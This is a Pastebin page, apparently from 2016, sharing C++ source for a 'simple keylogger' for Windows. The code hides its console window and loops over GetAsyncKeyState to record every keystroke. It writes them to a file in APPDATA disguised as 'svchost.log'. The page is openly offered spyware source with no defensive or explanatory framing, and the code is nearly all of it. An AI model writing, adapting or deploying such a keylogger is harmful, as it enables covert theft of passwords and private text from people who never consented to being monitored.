Advertisement
informaticage

C++ Simple Keylogger

Jul 3rd, 2016
796
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.83 KB | None | 0 0
  1. #include <iostream>
  2. #include <windows.h>
  3. #include <fstream>
  4.  
  5. using namespace std;
  6.  
  7. void Stealth();
  8. void writeToLog();
  9.  
  10. ofstream logFileWriter;
  11.  
  12. int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
  13. {
  14.     Stealth();
  15.     string logFilePath = getenv("APPDATA");
  16.     logFilePath.append("\\svchost.log");
  17.     logFileWriter.open(logFilePath, ios::out | ios::app);
  18.  
  19.     while(true)
  20.     {
  21.         for(int i = 1; i < 126; i++)
  22.             if(GetAsyncKeyState(i) & 0x0001)
  23.             {
  24.                 logFileWriter << (char)i;
  25.                 logFileWriter.flush();
  26.             }
  27.     }
  28.     logFileWriter.close();
  29.     return 0;
  30. }
  31.  
  32. void Stealth()
  33. {
  34.     FreeConsole();
  35.     HWND Stealth;
  36.     AllocConsole();
  37.     Stealth = FindWindowA("ConsoleWindowClass", NULL);
  38.     ShowWindow(Stealth,0);
  39. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement